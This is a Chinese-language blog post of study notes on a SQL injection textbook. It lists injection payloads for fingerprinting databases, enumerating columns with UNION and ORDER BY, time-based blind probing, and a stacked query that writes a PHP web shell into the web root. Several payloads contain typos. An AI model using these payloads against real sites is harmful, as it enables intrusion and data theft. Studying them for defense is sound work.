avatar

sql注入攻击与防御

第二章知识点回忆

  • 利用having ‘1’=’1 列举列名xxx, group by xxx having ‘1’=’1列举下一个列名

  • http://xxxxxxxxx?id=xxx; select * from users having 1=1;–

  • 0/xxx 列举表中的数值

  • http://xxxxxxxxx?id=xxx' and 1=0/name;–

  • 通过注入单引号后页面返回的错误判断数据库类型,mysql?oracle?等(书P33)

  • 输入user’ or 1=1返回所有页面,and 1=1返回单个商品

  • 判断?id=3-1是否与?id=2返回相同的页面,如果相同。则可以直接进行减法运算

    • 加法也课尝试,但是+是URI保留字,可以用%2B代替
  • 区分数值型注入和字符串型注入(有无单引号)

  • 所有的数据库都可以使用”–“进行单行注释,”/**/“进行多行注释,其中mysql还可以用#进行单行注释

  • 若空格被过滤,则可以使用没有内容的多行注释来避免使用空格

    • ?uid=45/**/or/**/1=1
  • 输入?uid=45/*hello yes*/,若返回内容与uid=45相同,则说明注释成功,可能存在sql注入

  • ?s=test’; select ‘<php echo shell_exec($_GET[“cmd”]);?>’ into outfile ‘/var/www/victim.com/shell.php’;–

    • 检索名为cmd的GET参数的值在一个操作系统shell中加以执行,并写入文件中
  • 时间延迟

    服务器种类 语句
    sql server ?uid=45; waitfor delay ‘hours:minutes:seconds’
    mysql ?uid=45; select benchmark(100000,encode(‘hello’,’mom))
    oracle pl/sql ?uid=45 or 1=dbms_pipe.receive_message(‘RDS’,10)
    postgresql(>=8.2) select pf_sleep(10);–

第三章 复查代码中的SQL注入

造成sql注入的原因是没有对输入进行检查

手动检查代码(静态)可以利用grep命令检查是否直接使用了没有检查过的输入参数,可以配合grep命令进行筛查,注意不同数据库有不同的处理函数

(具体指令在书上做了标记,内容比较多,就不抄过来了)

也可以使用一些工具搭配owasp进行练习

第四章 利用SQL注入

  • 堆叠查询:执行多条sql语句

  • 非盲跟踪:利用报错信息判断是什么数据库

  • P116,获取version信息

    • id=@@version
    • name=’%2B@@version%2B’
  • 查看字符串的衔接方式,判断数据库种类

  • 利用数字函数判断数据库种类

  • UNION判断列

    • id=12+union+select+null – 利用null的个数判断列
  • order by 判断列数(效率更高)二分查找

  • 匹配数据类型

    • id=12+union+select+’test’,null,null,null

    • 得到更多信息

      id=12+union+select+NULL,system_user,db_nam(),NULL

      使用连接符运行多个请求 (SQL Server) SELECT NULL, system_user + ‘|’ +db_name(), NULL,NULL

  • union查询只显示第一行

    • 添加永假条件,只返回union后面的结果(第一条)

      id=12+and+1=0+union+select+NULL,system_user,NULL,NULL

      然后再在后面的查询中对查询结果进行约束,可以得到后面的结果

  • 基于时间:

    • id=12;if+(system_user=’sa’)+waitfor+delay+’0:0:5’–
    • 检查数据库版本信息
      • if (substring((select @@version),25,1)=5) waitfor delay ‘0:0:5’–
  • 查询information_schema

Author: Michelle19l
Link: https://gitee.com/michelle19l/michelle19l/2020/06/15/sqli/sql注入攻击与防御/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付寶
    支付寶